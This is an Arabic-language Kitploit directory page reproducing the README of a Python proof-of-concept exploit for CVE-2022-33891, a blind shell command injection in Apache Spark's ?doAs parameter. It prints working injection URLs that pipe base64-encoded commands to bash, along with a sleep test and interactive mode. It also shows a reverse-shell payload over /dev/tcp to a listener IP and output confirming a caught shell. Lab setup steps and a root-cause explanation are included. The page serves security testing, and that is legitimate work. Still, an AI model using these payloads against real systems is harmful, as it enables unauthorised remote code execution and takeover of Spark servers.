Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2022-33891 — ثغرة حقن أوامر الشل في Apache Spark | Kitploit
أدوات/GitHubGitHub/huskyhacks/cve-2022-33891
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرة
GitHubhuskyhacks/cve-2022-33891

cve-2022-33891

ثغرة حقن أوامر الشل في Apache Spark

عرض المستودع
89173منذ 4 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-33891

ثغرة حقن الأوامر في قشرة Apache Spark

أداة Python POC لاستغلال ثغرة حقن الأوامر في قشرة Apache Spark. رأيت بعض أدوات POC الأخرى لكنها بدت مشبوهة جداً. هذه الأداة نظيفة وبسيطة.

لم أكتشف هذا الاستغلال/الثغرة بنفسي. أردت فقط إنشاء POC آمن للمجتمع ^.^

اكتشف CVE في الأصل Kostya Kortchinsky من Databricks.

تحديث 9/7/22: هناك وحدة Metasploit لهذا الآن! من إعداد h00die-gr3y وتم دمجها!

الإصدارات المتأثرة

إصدارات Apache Spark 3.0.3 والإصدارات الأقدم، والإصدارات 3.1.1 إلى 3.1.2، والإصدارات 3.2.0 إلى 3.2.1

المكوّن الضعيف

root@kitploit:~
http://localhost:8080/?doAs=`[حقن أوامر هنا]`

مثال

root@kitploit:~
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`

... ينام لمدة 10 ثوانٍ

الإعداد

تحتاج إلى إصدار ضعيف من Spark مع تغيير خيار إعداد واحد.

  • قم بتثبيت التبعيات: $ pip3 install -r requirements.txt
  • انتقل إلى الدليل spark/.
  • استخدم ملف docker-compose.yml الموجود في الدليل spark/ وقم بتشغيل docker-compose up. اترك الحاوية تعمل.
  • في محطة طرفية جديدة، أدخل sudo docker exec -it spark_spark_1 /bin/bash
  • في جلسة bash داخل الحاوية، أدخل: echo "spark.acls.enable true" >> conf/spark-defaults.conf
  • يمكنك اختيارياً عرض محتويات spark-defaults.conf للتأكد من أنها صحيحة.
  • اخرج من جلسة bash التفاعلية واضغط Ctl-C لإيقاف عملية docker-compose.
  • بعد إيقاف الحاويات بشكل سلس، أعد تشغيل docker-compose up
  • الاستخدام

    root@kitploit:~
    ┌──(kali㉿kali)-[~/Desktop]
    └─$ python3 poc.py -h
    usage: poc.py [-h] -u URL -p PORT [--revshell]
                  [-lh LISTENINGHOST] [-lp LISTENINGPORT]
                  [--check] [--verbose]
    
    CVE-2022-33891 Python POC Exploit Script
    
    optional arguments:
      -h, --help            show this help message and exit
      -u URL, --url URL     URL to exploit.
      -p PORT, --port PORT  Exploit target's port.
      --revshell            Reverse Shell option.
      -lh LISTENINGHOST, --listeninghost LISTENINGHOST
                            Your listening host IP address.
      -lp LISTENINGPORT, --listeningport LISTENINGPORT
                            Your listening host port.
      --check               Checks if the target is
                            exploitable with a sleep test
      --verbose             Verbose mode
    
    

    أمثلة

    التحقق مما إذا كان الهدف ضعيفاً:

    root@kitploit:~
    husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --check --verbose
    [*] Attempting to connect to site...
    [*] URL request: http://localhost:8080/?doAs='testing'
    [*] Response status code: 403
    [!] Performing sleep test of 10 seconds...
    [*] T1: 2022-07-22 10:47:48.406996
    [*] Command is: sleep 10
    [*] Base64 command is: c2xlZXAgMTA=
    [*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
    [*] Sending exploit...
    [*] Response status code: 403
    [*] Hint: 403 is good.
    [*] T2: 2022-07-22 10:47:58.425108
    [*] Delta T: 10
    [+] Sleep was 10 seconds! This target is probably vulnerable!
    

    إصدار الأوامر في حلقة موجه الأوامر:

    root@kitploit:~
    husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --verbose
    [*] "Interactive" mode!
    [!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.
    [cve-2022-33891> sleep 5
    [*] Command is: sleep 5
    [*] Base64 command is: c2xlZXAgNQ==
    [*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
    [*] Sending exploit...
    [*] Response status code: 403
    [*] Hint: 403 is good.
    [cve-2022-33891> 
    

    تنفيذ قوقعة عكسية:

    root@kitploit:~
    husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 10.10.1.237 -lp 9001 --verbose
    [*] Reverse shell mode.
    [*] Set up your listener by entering the following:
    nc -nvlp 9001
    [*] When your listener is set up, press enter!
    [*] Command is: sh -i >& /dev/tcp/10.10.1.237/9001 0>&1
    [*] Base64 command is: c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx
    [*] Full exploit request is: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx | base64 -d | bash`
    [*] Sending exploit...
    
    ...[في المحطة الطرفية الأخرى]...
    
    husky@dev-kde:~/Desktop/cve-2022-33891$ nc -nvlp 9001
    Listening on 0.0.0.0 9001
    Connection received on 172.19.0.2 52136
    sh: 0: can't access tty; job control turned off
    $ whoami
    spark
    $ echo "hackerman"
    hackerman
    $ 
    

    مزيد من المعلومات

    يحدث حقن الأوامر لأن Spark يتحقق من عضوية المجموعة للمستخدم الذي تم تمريره في الوسيط ?doAs باستخدام أمر Linux خام. يقوم Bash بتحليل الأمر، ويرسل المخرجات إلى حقل id، ويحاول البحث عن المستخدم الناتج.

    تمرير which python كقيمة لـ ?doAs= ينتج عنه هذا في traceback:

    root@kitploit:~
    ...
    http://localhost:8080/?doAs=`which%20python`
    ...
    
    spark_1  | 22/07/22 15:15:57 INFO Utils: id: '/opt/bitnami/python/bin/python': no such user
    spark_1  | 22/07/22 15:15:57 ERROR Utils: Process List(bash, -c, id -Gn `which python`) exited with code 1: 
    spark_1  | 22/07/22 15:15:57 ERROR Utils: Error getting groups for user=`which python`
    

    هنا، قررت Java أنه من الأفضل تمرير أمر id إلى bash -c للتحقق من عضوية المجموعة لمستخدم معين. المشكلة هي أن هذا يسمح أيضاً بحقن الأوامر. قام Bash بتحليل الأمر المقدم وطباعة النتائج في السطر الأول من هذا المخرجات وحاول البحث عن المستخدم بناءً على stdout للأمر.

    لا يوجد مستخدم باسم /opt/bitnami/python/bin/python ولكن هذا يعني بالتأكيد أن الأمر تم تمريره إلى Bash وتنفيذه.

    الإصدارات المُصحّحة تجعل هذه الاستدعاءات مؤرشفة (parametrize) بحيث يكون لها مسار كامل لأمر /bin/id بدلاً من bash -c id.

    من الجدير بالذكر أنه لا ينعكس أي شيء على الصفحة أثناء تنفيذ الأمر، لذلك هذا حقن أوامر أعمى. أوامرك تُنفّذ، ولكن لن يكون هناك أي إشارة إذا نجحت أم لا، أو حتى إذا كان البرنامج الذي تشغله موجوداً على الهدف. على سبيل المثال، الحاوية التي يتم تشغيلها باستخدام ملف docker-compose.yml في هذا المستودع لا تحتوي على ping، لذا التحقق من حقن الأوامر عبر pingback لن يعمل. لكنك لن تعرف ذلك، لذا ستبقى تتساءل إذا كان قد نجح أم لا.

    اختبار sleep هو رهان آمن ^.^

    OPSEC

    لقد قضيت صفر دورة في جعل هذا آمناً من ناحية OPSEC. فرق الاختراق الأحمر، هذا عليكم.

    إخلاء المسؤولية

    لا تحتوي هذه POC على أي قدرة على الاستكشاف السلبي. الاستغلال هو حقن أوامر أعمى. إذا استخدمت هذا السكربت ضد هدف، فإنك ترسل حزم إليه. حتى إذا استخدمت الوسيط --check وكان الهدف ضعيفاً، فأنت تستغله بنشاط لإثبات ضعفه.

    لا تستخدم هذا على أنظمة إنتاج حساسة للاختبار. لا تستخدمه ضد أهداف إذا لم يكن لديك إذن بذلك. أنا لست مسؤولاً بأي شكل عن كيفية استخدامك له.

    انظر إلى الترخيص.

    المراجع

    • https://securityonline.info/cve-2022-33891-apache-spark-shell-command-injection-vulnerability/
    • https://nvd.nist.gov/vuln/detail/CVE-2022-33891
    • https://spark.apache.org/docs/2.1.0/configuration.html
    • https://github.com/W01fh4cker/cve-2022-33891 (لا أنصح باستخدام هذه POC)
    تنزيل الأداة